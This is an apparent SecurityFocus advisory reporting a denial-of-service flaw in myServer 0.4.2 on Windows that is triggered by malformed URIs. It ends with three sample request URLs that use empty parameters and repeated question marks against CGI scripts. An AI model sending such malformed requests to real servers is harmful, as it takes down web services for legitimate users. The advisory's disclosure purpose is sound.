source: https://www.securityfocus.com/bid/8120/info

MyServer has been reported to be prone to denial of service attacks when handling certain malformed URIs. This could be exploited to deny availability of web services to legitimate users.

This issue was reported in myServer 0.4.2 on Microsoft Windows platforms. Other versions may also be affected.

http://www.example.com/cgi-bin/math_sum.mscgi?a=
http://www.example.com/cgi-bin/math_sum.mscgi??=
http://www.example.com/cgi-bin/post.mscgi???